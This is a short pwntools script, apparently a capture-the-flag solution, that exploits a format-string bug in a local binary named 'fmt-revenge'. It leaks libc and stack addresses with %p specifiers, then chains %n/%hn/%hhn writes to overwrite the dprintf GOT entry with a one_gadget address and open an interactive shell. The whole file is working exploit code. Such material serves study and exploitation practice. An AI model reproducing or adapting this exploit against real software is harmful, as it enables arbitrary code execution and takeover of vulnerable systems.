#!/usr/bin/env python 
from pwn import *
context.arch = 'amd64'

r = process('./fmt-revenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./fmt-revenge')

r.sendline('%10$p')
libc_base = int(r.recvuntil('\n')[:-1],16) - libc.symbols['__libc_start_main'] - 231 

r.sendline('%7$p')
stack = int(r.recvuntil('\n')[:-1],16)

one_gadget = libc_base + 0x10a38c
print '[*] libc base  : ',hex(libc_base)
print '[*] leak stack : ',hex(stack)
print '[*] one gadget : ',hex(one_gadget)

def fmt(s):
        r.send(s + 'DEAD')
        r.recvuntil('DEAD')

fmt('%{}c%7$n'.format(elf.got['dprintf']))

p = (stack + 8) & 0xff

fmt('%{}c%5$hhn'.format(p))
fmt('%{}c%7$hn'.format(elf.got['dprintf']+2 & 0xffff))
fmt('%{}c%5$hhn'.format(p+2))
fmt('%{}c%7$n'.format((elf.got['dprintf']+2 >> 16) & 0xffff))


a = (one_gadget >> 16) & 0xff
b = one_gadget & 0xffff

fmt('%{}c%10$hhn%{}c%9$hn'.format( a , b - a ))


r.interactive()
